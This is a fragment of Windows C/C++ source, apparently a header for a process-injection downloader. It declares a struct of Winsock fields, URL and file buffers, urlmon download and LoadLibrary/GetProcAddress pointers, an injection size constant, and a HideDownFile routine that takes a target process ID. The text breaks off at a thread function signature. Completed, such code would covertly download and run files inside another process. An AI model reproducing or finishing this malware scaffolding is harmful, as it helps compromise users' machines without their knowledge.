#include <windows.h>
#include <WINSOCK.H>
#define MAXINJECTSIZE (2048*7)
struct tagDownInfo
{
WSADATA v_wsadata;
SOCKET v_sock;
struct sockaddr_in v_target;
TCHAR v_buf[256];
TCHAR v_sendbuf[256];
int v_rcvid;
WORD v_VersionRequeste;
TCHAR v_WS2_32_LIB[20];
TCHAR szWSAStartup[500];
/*定义SOCK函数*/
int v_WSAStartup;
SOCKET v_socket;
int V_connect;
TCHAR szGetLastError[20];
TCHAR szUrl[500];
TCHAR szFile[500];
TCHAR szUrlmon[30];
TCHAR szUrlDowndToFile[30];
TCHAR szMessageBox[500];
TCHAR szUser32_lib[30];
bool bIsRun;
DWORD dwRunMode;
FARPROC funFunGetModuleHandleAddr;
FARPROC funFunGetProcAddressAddr;
FARPROC funFunLoadLibraryAddr;
FARPROC funFunGetLastErrorAddr;
};
bool HideDownFile(tagDownInfo* pInfo, DWORD dwProcessId);
DWORD WINAPI ThreadDown(LPVOID lParam)